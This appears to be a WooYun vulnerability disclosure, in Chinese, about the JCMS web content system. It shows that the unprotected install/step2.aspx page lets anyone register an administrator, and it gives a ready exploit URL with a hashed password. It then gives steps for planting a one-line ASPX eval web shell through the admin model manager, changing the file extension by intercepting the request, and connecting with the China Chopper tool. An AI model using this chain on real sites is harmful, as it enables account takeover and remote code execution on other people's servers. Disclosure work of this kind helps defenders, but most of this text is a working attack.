WooYun.org

尽管安装系统之后，系统是有提示删除install目录（但并不是强制删除），我想不是每个用户都会这么做的。
也尽管/install/default.aspx处确实是有判断系统是否已经安装如果已经安装就跳转到主页，但是/install目录下的step1.aspx和step2.aspx是没有判断的。
step1.aspx文件主要是配置数据库参数，而step2.aspx是配置管理员信息。并且由于step1.aspx写入的配置文件是:~/_data/config/conn.config
应该是不能getshell的，所以被没有什么卵用。
我们来看看step2.aspx:
private void Step2()
{
string strXmlFile = HttpContext.Current.Server.MapPath("~/_data/config/site.config");
XmlControl XmlTool = new XmlControl(strXmlFile);
XmlTool.Update("Root/Name", base.q("sitename"));
XmlTool.Update("Root/Name2", base.q("sitename2"));
XmlTool.Update("Root/StaticExt", base.q("staticext"));
XmlTool.Update("Root/SiteStartYear", System.DateTime.Now.Year.ToString());
XmlTool.Save();
XmlTool.Dispose();
string _Email = base.q("email");
string _UserName = base.q("username");
string _UserPass = base.q("userpass");
string _AdminName = base.q("adminname");
string _AdminPass = base.q("adminpass");
if (new Normal_UserDAL().Register(_UserName, _UserName, _UserPass, 0, _Email, "1980-1-1", "", _AdminName, _AdminPass, "", "", false) > 0)
{
strXmlFile = HttpContext.Current.Server.MapPath("~/_data/config/site.config");
XmlTool = new XmlControl(strXmlFile);
XmlTool.Update("Root/Founders", "." + _AdminName + ".");
XmlTool.Save();
XmlTool.Dispose();
new SiteDAL().CreateSiteFiles();
base.SetupSystemDate();
System.IO.StreamWriter sw = new System.IO.StreamWriter(HttpContext.Current.Request.PhysicalApplicationPath + "\\_data\\install.dat", true, System.Text.Encoding.UTF8);
sw.WriteLine("ok");
sw.Close();
sw.Dispose();
this._response = "ok";
}
else
{
this._response = "管理员添加失败";
}
}
这里有个register方法，跟进：
using (DbOperHandler _doh = new Common().Doh())
{
string _userpass2 = MD5.Last64(_userpass);
string _adminpass2 = MD5.Last64(_adminpass);
int dPoints = base.Str2Int(XmlCOM.ReadConfig("~/_data/config/site", "DefaultPoints"), 0);
int uState = this.site.CheckReg ? 0 : 1;
object[,] array = new object[2, 19];
array[0, 0] = "UserName";
array[0, 1] = "NickName";
array[0, 2] = "UserPass";
array[0, 3] = "Sex";
array[0, 4] = "Email";
array[0, 5] = "Birthday";
array[0, 6] = "Group";
array[0, 7] = "Points";
array[0, 8] = "Login";
array[0, 9] = "State";
array[0, 10] = "AdminId";
array[0, 11] = "AdminSetting";
array[0, 12] = "UserSign";
array[0, 13] = "AdminState";
array[0, 14] = "IsVIP";
array[0, 15] = "Integral";
array[0, 16] = "RegTime";
array[0, 17] = "RegIp";
array[0, 18] = "Token_" + _oauth_code;
array[1, 0] = _username;
array[1, 1] = _nickname;
array[1, 2] = _userpass2;
array[1, 3] = _sex;
array[1, 4] = _email;
array[1, 5] = _birthday;
array[1, 6] = 1;
array[1, 7] = dPoints;
array[1, 8] = 0;
array[1, 9] = uState;
array[1, 10] = 0;
array[1, 11] = ",,";
array[1, 12] = _usersign;
array[1, 13] = 0;
array[1, 14] = 0;
array[1, 15] = 0;
array[1, 16] = DateTime.Now.ToString();
array[1, 17] = IPHelp.ClientIP;
array[1, 18] = _oauth_token;
object[,] addFields = array;
_doh.Reset();
_doh.AddFieldItems(addFields);
int _uID = _doh.Insert("jcms_normal_user");
DirFile.CopyFile("~/_data/avatar/0_l.jpg", "~/_data/avatar/" + _uID + "_l.jpg", true);
DirFile.CopyFile("~/_data/avatar/0_m.jpg", "~/_data/avatar/" + _uID + "_m.jpg", true);
DirFile.CopyFile("~/_data/avatar/0_s.jpg", "~/_data/avatar/" + _uID + "_s.jpg", true);
if (_adminname.Length > 0 && _adminpass.Length > 0)
{
_doh.Reset();
_doh.ConditionExpress = "id=" + _uID;
_doh.AddFieldItem("State", 1);
_doh.AddFieldItem("AdminState", 1);
_doh.AddFieldItem("AdminId", _uID);
_doh.AddFieldItem("AdminName", _adminname);
_doh.AddFieldItem("AdminPass", _adminpass2);
_doh.AddFieldItem("Group", this.site.AdminGroupId);
_doh.Update("jcms_normal_user");
_doh.Reset();
_doh.ConditionExpress = "id=" + this.site.AdminGroupId;
_doh.Add("jcms_normal_usergroup", "UserTotal");
}
这里大概是获取用户提交过来的帐号密码，然后添加到数据库。
最重要的是：_doh.AddFieldItem("Group", this.site.AdminGroupId);
添加管理组，这个比较给力了。
由于是直接写数据库所以密码还是要先md5加密好之后再提交！
所以构造出来大概是：
http://localhost/install/step2.aspx?sitename=%E5%B0%86%E5%8D%9Acms%E9%80%9A%E7%94%A8%E7%89%88&dbtype=1&staticext=%2Ehtml&username=wooyun&userpass=fbb204a4061ffbd41284a84c258c1bfb&adminpass=fbb204a4061ffbd41284a84c258c1bfb&email=admin%401%2Ecom&adminname=wooyun&sitename2=%E5%B0%86%E5%8D%9A
后台getshell方面：
进入后台以后点击模型管理，然后找到html模型，添加一个模型，然后后缀名填写.htm内容是一句话：<% @Page Language="Jscript"%><%eval(Request.Item["wooyun"],"unsafe");%>
点击保存之后抓包修改，把.htm改成.aspx
之后连接菜刀就ok了！